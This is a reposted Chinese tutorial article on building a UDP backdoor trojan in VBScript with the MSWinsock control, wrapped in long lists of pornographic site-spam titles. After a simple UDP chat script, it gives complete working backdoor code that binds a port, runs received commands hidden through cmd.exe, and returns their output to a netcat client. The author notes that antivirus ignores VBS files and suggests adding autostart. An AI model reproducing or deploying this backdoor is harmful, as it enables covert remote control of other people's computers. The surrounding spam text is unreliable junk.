亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

VBS+MSWinsock打造靈巧UDP后門的相關資料

2020-06-26 18:04:26
字體:
來源:轉載
供稿:網友
大概在一年前,VBS腳本病毒又揭起一陣熱潮,一大群VBS病毒在互聯網上盛行。那時的VBS病毒幾乎都是用FSO、MAPI作為一個病毒傳染引擎,所以我就想,VBS可否訪問網絡呢?如果它也能進行端口的連接,那就神奇了。從此之后,我就努力去找有關VBS的網絡類的資料,可惜找了好久,什么收獲也沒有,直到一個月前高考結束了,我才可以靜下來搞這個東西,并終于有了一點進展。 
現在分析一下VBS的運作原理吧。VBS的全稱是“Visual Basic Scripts”,由于VBS是由Visual Basic分離出來的一種面向對象的腳本語言,所以它的語法與Visual Basic差不多,而且也是靠Object來實現它的其它高級功能。只不過是VBS是用Wscript.exe或Cscript.exe來解釋的,因此它不需要編譯,直接運行就行了,所以這也是VBS腳本做黑客工具方面的特長之一:普通殺毒軟件不會對VBS感興趣。因為VBS是一種面向對象的腳本語言,所以微軟的很多ActiveX組件都可以通過“CreateObject(“ObjectName”)”來創建引用,這可能是微軟公司的程序接口吧!也許用過VB編寫網絡程序的朋友也知道,用VB寫網絡程序大致有兩種:一是調用Windows的API函數,二是用VB自帶的Winsock控件,也就是在Windows系統目錄中見到的“MSWinsock.ocx”。由于前者的API函數比較復雜,很多朋友比較喜歡用VB自帶的Winsock控件,不知道大家有沒有留意到那個Winsock控件,其實它就是我前面講的ActiveX組件,它提供了訪問TCP和UDP網絡服務的方便途徑,為編寫客戶或服務器應用程序,不必了解TCP的細節或調用低級的Winsock APIs。通過設置控件的屬性并調用其方法就可輕易連接到一臺遠程機器上去,并且還可雙向交換數據。既然找到了訪問網絡的引擎,那如何來用呢?用法又是不和VB中那樣用呢? 
Winsock控件用法大體上是同VB上的一樣,但在VBS中,ActiveX控件并不是像VB中那樣是可以見到的,要在VBS上引用它當然是先創建它的對象。創建方法就像創建FSO等對像。新建一個文本文件,在里面寫入: 
-------------------------------------------------- 
Set Sock=CreateObject("MSWinsock.Winsock") 
Sock.AboutBox 
-------------------------------------------------- 
保存為*.vbs運行它,就可以看到注冊在你系統中的WinSock控件的有關信息。 
怎能么樣?開心吧,別急,我下面會詳細講講。既然對象創建成功了,當然是要像VB中那樣用它了。在VBS中創建的WinScok不能像VB中那樣圖形介面那樣設置參數就行,是應該一步一個腳印來設置好你所創的是什么協議。在WinSock控件中要設置的協議是通過“Protocol”來設定的,如sock.Protocol=0 或 sock.Protocol=1。注意當“Protocol”的值為“0”時,所創建的協議是TCP;值為“1”時,則創建的是UDP。 
我先介紹一下有關WinSock控件引用的基本方法和事件吧: 
LocalHostName //取得本地主機名 
LocalIP //取得本地主機IP 
SocketHandle //取得創建SOCK的句柄 
RemotePort //設置或取得遠程端口 
LocalPort //設置或取得本地端口 
State //返回創建sock的對像狀態(代嗎如下){ 
0 缺省的。關閉  
1 打開  
2 偵聽  
3 連接掛起  
4 識別主機  
5 已識別主機  
6 正在連接  
7 已連接  
8 同級人員正在關閉連接  
9 錯誤 } 
BytesReceived //返回接收到的(當前在接收端緩沖區內的)數據的數量 
Connect(RemoteHost,RemotePort) //建立遠程連接,RemoteHost遠程主機IP,RemotePort遠程主機端口 
Listen //使SOCK偵聽 
SendData/GetData //發送或接收數據 
Close //關閉對像 
Bind(LocalPort, LocalIP)//綁定本地端口。 
那些基本的東西我講完了,下面我測試一下遠程主機會話吧(UDP),下面是一個VBS文件,大家可以試試,代碼如下(文件sock-udp.vbs): 
---------------------------------------- 
dim revdata 
dim sendata 
//創建Winsock對像 
set sock=createobject("MSWinsock.Winsock")  
//使用UDP協議 
//建立連接 
sock.Protocol=1sock.Connect "127.0.0.1",1234 
//定義要發送的數據 
sendata="Hello!!!"&chr(13)  
//發送我們要發的數據 
sock.senddata sendata  
do 
//如果有數據回應就顯示它 
if sock.BytesReceived>0 then  
//定義接收數據類型(數據類型有vbByte、vbInteger、vbLong、vbSingle 
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte) 
//也只有定義好要接收的數據類型才能收到數據,不然會收到的是一堆亂碼; 
sock.getdata revdata,vbString; 
sendata=inputbox (revdata,"RecviedData","請輸入你要發的信息") 
sock.senddata senddata & chr(13) 
//當收到含有"exit"字串時結束VBS進程 
if instr(revdata,"exit") then exit do 
else 
end if 
loop 
//關閉對像套接 
sock.close 
------------------------------------------ 
然后用“nc -u -l -p 1234”監聽本地UDP端口1234,再運行剛編寫的VBS文件,看!我的NC有反應了。 
里面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進程了。在NC里我們還可以發信息、聊天,怎么樣?一個簡單的UDP C/S已經完成了。下面我再寫一個關于它的利用吧,既然它能訪問網絡,當然是用它的做個VBS木馬啦!老編們不會反對吧!哈哈,Let's Go! 
-------------------------- 
Dim revdata 
set sock=createobject("MSWinsock.Winsock") 
set sc=createobject("WScript.Shell") 
Set fso =CreateObject("Scripting.FileSystemObject") 

sock.Protocol=1 //這個當然是UDP協議的標識啦 
sock.bind 1234 //綁定本地的UDP端口 

Do 
if sock.BytesReceived>0 then 
sock.getdata revdata,vbString 
if instr(revdata,"exit")>0 then 
exit do 
else 
on error resume next 
tempfile="C:/" & fso.GetTempName 
'cmd=right(revdata,len(revdata)-4) 
cmd=left(revdata,len(revdata)-3) 
//利用綁定cmd的輸出 
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True) 
Set txf = fso.OpenTextFile(tempfile,1,false,0) 
//把輸出的文件讀入內存,用SendData發送到客戶端 
sock.senddata txf.readall & vbcrlf & vbcrlf 
txf.close 
call fso.DeleteFile(TempFile,True) 
end if 
//嘻嘻,下面是我的版權喔 
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf 
end if 
Loop 
sock.senddata "連接已關閉!" & vbcrlf 
sock.close 
sock=nothings 
------------------- 
到此,代碼的基本架構已經完成了,要想做一個全能的木馬可以在代碼里加上諸如開機自動運行等。由于VBS程序沒有設置出錯保護,可能一些錯誤的操作會出現程蹦潰,有興趣的朋友可以自己試試。用法是先把這個VBS后門運行在服務端,之后就用你的NC連,因為用的是UDP協議,NC的命令行是“NC –u IP Port”,記得要加上那個“-u”參數啊,之后就像WinShell一樣用就行了,下面是在我的機器里測試的截圖。 


至于TCP如何編寫,道理也跟UDP差不多,我這里就不再多寫了,大家可以自己研究下。 
如果有什么好的方法還可以和我一同研究。謝謝觀賞。 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
亚洲毛片在线看| 福利二区91精品bt7086| 久久男人av资源网站| 中文字幕日本精品| 黑人欧美xxxx| 国产欧美精品va在线观看| 国产精品老女人精品视频| 国产精品视频26uuu| 日韩中文有码在线视频| 欧美日韩第一视频| 日韩精品在线观看视频| 精品国产91久久久久久老师| 亚洲欧美中文字幕在线一区| 欧美美女操人视频| 日韩有码视频在线| 精品国产自在精品国产浪潮| 1769国产精品| 三级精品视频久久久久| 成人免费在线视频网站| 国产精品99久久久久久久久| 久久久久国产精品一区| 久久97久久97精品免视看| 成人情趣片在线观看免费| 2023亚洲男人天堂| 在线观看欧美成人| 国产在线不卡精品| 欧美亚洲国产精品| 91精品在线看| 日韩欧美在线免费观看| 欧美性猛交xxxx免费看久久久| 亚洲国产成人爱av在线播放| 欧美理论在线观看| 国产成人免费av电影| 欧美丝袜一区二区三区| 国产精品美女久久久免费| 国产亚洲欧美日韩精品| 日韩精品免费看| 欧美激情videoshd| 在线观看欧美日韩国产| 丝袜一区二区三区| 国产精品青青在线观看爽香蕉| 美女999久久久精品视频| 国产精品最新在线观看| 最近中文字幕日韩精品| 久久精品2019中文字幕| 久久国产精品久久久久| 91老司机在线| 亚洲一区二区久久久久久| 精品亚洲va在线va天堂资源站| 韩日精品中文字幕| 欧美猛交ⅹxxx乱大交视频| 日韩电影免费观看在线观看| 黑人巨大精品欧美一区二区免费| 91性高湖久久久久久久久_久久99| 欧洲中文字幕国产精品| 国产精品视频网站| 国产精品高潮呻吟视频| 夜夜嗨av色综合久久久综合网| 日本高清+成人网在线观看| 2019av中文字幕| 国产精品xxx视频| 欧美视频裸体精品| 日韩精品丝袜在线| 亚洲网址你懂得| 国产欧美最新羞羞视频在线观看| 午夜精品一区二区三区在线播放| 伦伦影院午夜日韩欧美限制| 国产午夜精品全部视频在线播放| 性欧美长视频免费观看不卡| 国产精品综合网站| 亚洲欧美一区二区三区情侣bbw| 97精品视频在线| 国产精品三级美女白浆呻吟| 国产精品一区=区| 欧美视频一区二区三区…| 91中文字幕一区| 国产午夜精品理论片a级探花| 亚洲一二在线观看| 在线免费观看羞羞视频一区二区| 亚洲男女自偷自拍图片另类| 欧美成人免费播放| 日韩动漫免费观看电视剧高清| 91精品视频在线| 欧美孕妇孕交黑巨大网站| 68精品国产免费久久久久久婷婷| 日韩激情第一页| 欧美激情一级精品国产| 亚洲精品一区二区网址| 在线精品国产成人综合| 日韩亚洲欧美中文高清在线| 亚洲欧美日韩在线一区| 欧美大片在线影院| 久久影院中文字幕| 亚洲自拍高清视频网站| 亚洲欧美综合另类中字| 91美女福利视频高清| 亚洲欧美色图片| 中文字幕日韩在线观看| 日韩av一区在线观看| 日本免费久久高清视频| 亚洲视频专区在线| 亚洲深夜福利在线| 国产在线拍偷自揄拍精品| 国产精品大陆在线观看| 欧美自拍大量在线观看| 久久成人精品电影| 国产激情综合五月久久| 精品免费在线视频| 中文字幕久久久| 日韩精品在线播放| 久久影视三级福利片| 欧美日韩国产精品一区二区三区四区| 欧美精品videosex性欧美| 欧美成年人在线观看| 亚洲欧美在线x视频| 理论片在线不卡免费观看| 91精品国产综合久久香蕉最新版| 亚洲成年人影院在线| 国产精品中文字幕久久久| 91精品国产91久久久久久久久| www.欧美三级电影.com| 在线丨暗呦小u女国产精品| 国产精品扒开腿做爽爽爽视频| 正在播放欧美一区| 欧美电影在线观看完整版| 欧美视频在线观看免费网址| 亚洲精品电影在线| 久久久国产精品免费| 久久成人精品视频| 欧美在线观看网址综合| 国产精品一区二区三区免费视频| 国产精品大陆在线观看| 日韩视频一区在线| 久久久国产成人精品| 欧洲s码亚洲m码精品一区| 日韩av在线播放资源| 91网站免费观看| 黑人巨大精品欧美一区二区| 欧美激情精品久久久| 日本三级韩国三级久久| 日本中文字幕久久看| 成人免费在线网址| 欧美日韩国产第一页| 亚洲人成欧美中文字幕| 国产午夜精品全部视频播放| 尤物九九久久国产精品的特点| 亚洲人免费视频| 国产福利视频一区| 国产精品美女免费| 亚洲精品中文字| 国产伦精品一区二区三区精品视频| 色多多国产成人永久免费网站| 国产精品自拍偷拍视频| 日韩精品福利网站| 国产一区二区三区在线看| 在线国产精品播放| 成人性生交大片免费观看嘿嘿视频| 亚洲精品xxx| 久久伊人色综合| 精品国产福利在线| 国内偷自视频区视频综合| 精品成人乱色一区二区| 日韩av手机在线看| 亚洲性无码av在线|